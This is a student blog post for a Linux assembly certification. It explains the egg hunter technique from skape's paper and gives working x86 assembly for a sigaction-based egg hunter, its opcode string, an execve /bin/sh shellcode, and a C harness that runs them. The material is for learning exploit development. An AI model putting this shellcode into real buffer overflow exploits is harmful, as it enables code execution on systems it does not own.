Comment on page
0x03 SLAE - Egg Hunter Shellcode
The third assignment for the SecurityTube Linux Assembly Expert Certification is to study about Egg Hunter and create a working demo of the EggHunter. The EggHunter should also be configurable for any type of payload. This means that we could put our own bind tcp or reverse tcp payload for example. Before starting into the details of the EggHunter, I will explain what is a EggHunter.
An EggHunter is primarily used for exploitation. This technique is used when we have a very small space to put our shellcode in a buffer overflow for example. The EggHunter will exploit the vulnerability in 2 stage. The first stage is the Egg, which is about 30 bytes. The second stage is our payload which is much larger that we can store at an indeterminate place in the address space of the process. In this way, we can still fire up our larger payload that is to large to be stored in the first place.
The requirements for a working and strong Egghunter are the following from the skape paper:
It must be robust It must be small It should be fast
Before starting to write an EggHunter, I have done some search and there is an excellent paper about EggHunter written by skape. The paper title is Safely Searching Process Virtual Address Space.
There is different type of implementation for searching a VAS in the paper. However, we will concentrate our working demo with the Linux third implementation which is using the
sigaction(2)
that has the smaller size and the shortest execution for searching a Virtual Address Space.The following code is the assembly implementation of the EggHunter. This assembly code will loop until he found a valid address space. If the address space is valid the return value wouldn’t be
EFAULT
and this means that the pointer is valid. Then, it will be compared to the egg that we are searching which is 0x50905090
.; Egg Hunter
global _start
_align:
or cx, 0xfff ; page alignment
_start:
inc ecx ; increment ecx of 1
push byte +0x43 ; syscall sigaction 67
pop eax ; pop first value in the stack into eax
int 0x80 ; execute syscall
cmp al, 0xf2 ; verify if the return value is EFAULT
jz _align ; jump if ZF flag is set
mov eax, 0x50905090 ; key
mov edi, ecx ; store ecx in edi
scasd ; compare content memory in edi to dword value in eax (the key)
jnz _start ; jump if ZF flag not set
scasd ; running twice to past the start of the egg
jnz _start ; jump if ZF flag it not set
jmp edi ; jump in edi
Now that we have our EggHunter ready, we will have to get the opcodes to put it in our shellcode. Let’s generate the opcodes from the assembly program with our
shellcode-gen.py
. 
egghunter-shellcode
\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x90\x50\x90\x50\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7
From there, we can reuse the template for generating the C program that generate the shellcode and modify it to use the Egg Hunter. Since, it is for demonstration, we will keep it simple as possible. In this way, I will use the basic
execve-stack.nasm
from the SLAE training.global _start
section .text
_start:
; PUSH the first null dword
xor eax, eax
push eax
; PUSH //bin/sh (12)
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
Which give :
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
Now we can take the template of the file
shellcode.c
and customize it to use the EggHunter program.Firstly, we will define the Egg Hunter key that we are looking for which is
\x90\x50\x90\x50
. Then, just declare the basic execve payload that the egg will launch when ready. We need to put the key twice in front of the shellcode because the key is repeated twice to allow uniqueness. Finally, we declare the egg program in the egg array and when we execute the shellcode, we launch the egg hunter payload.#include<stdio.h>
#include<string.h>
#define KEY "\x90\x50\x90\x50"
// execve shellcode
unsigned char shellcode[] = \
KEY KEY"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
unsigned char egg[] = "\x31\xc9\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf6\xb8"KEY"\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7";
main()
{
printf("Egg Length: %d\n", strlen(egg));
printf("Shellcode Length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())egg;
ret();
}
And the final results when running the C code above :

egg-shell
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification
Student ID: SLAE-1374
Last modified 4yr ago